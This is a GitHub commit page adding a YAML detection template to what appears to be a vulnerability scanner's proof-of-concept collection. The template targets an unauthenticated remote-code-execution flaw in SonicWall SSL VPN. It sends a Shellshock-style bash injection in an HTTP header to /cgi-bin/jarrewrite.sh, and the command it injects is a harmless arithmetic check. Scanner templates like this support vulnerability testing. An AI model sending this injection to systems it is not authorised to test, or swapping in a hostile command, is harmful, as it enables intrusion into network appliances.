Skip to content

Commit

Permalink
sonicwall sslvpn unauth RCE (chaitin#1044)
Browse files Browse the repository at this point in the history
* Create sonicwall-ssl-vpn-rce.yml

* Update sonicwall-ssl-vpn-rce.yml
  • Loading branch information
getcode2git authored Feb 7, 2021
1 parent 22fe8db commit 2f226ae
Showing 1 changed file with 16 additions and 0 deletions.
16 changes: 16 additions & 0 deletions pocs/sonicwall-ssl-vpn-rce.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
name: poc-yaml-sonicwall-ssl-vpn-rce
set:
r1: randomInt(40000, 44800)
r2: randomInt(1140000, 1144800)
rules:
- method: GET
path: /cgi-bin/jarrewrite.sh
follow_redirects: false
headers:
X-Test: () { :; }; echo ; /bin/bash -c 'expr {{r1}} - {{r2}}'
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 - r2)))
detail:
author: sharecast
links:
- https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/

0 comments on commit 2f226ae

Please sign in to comment.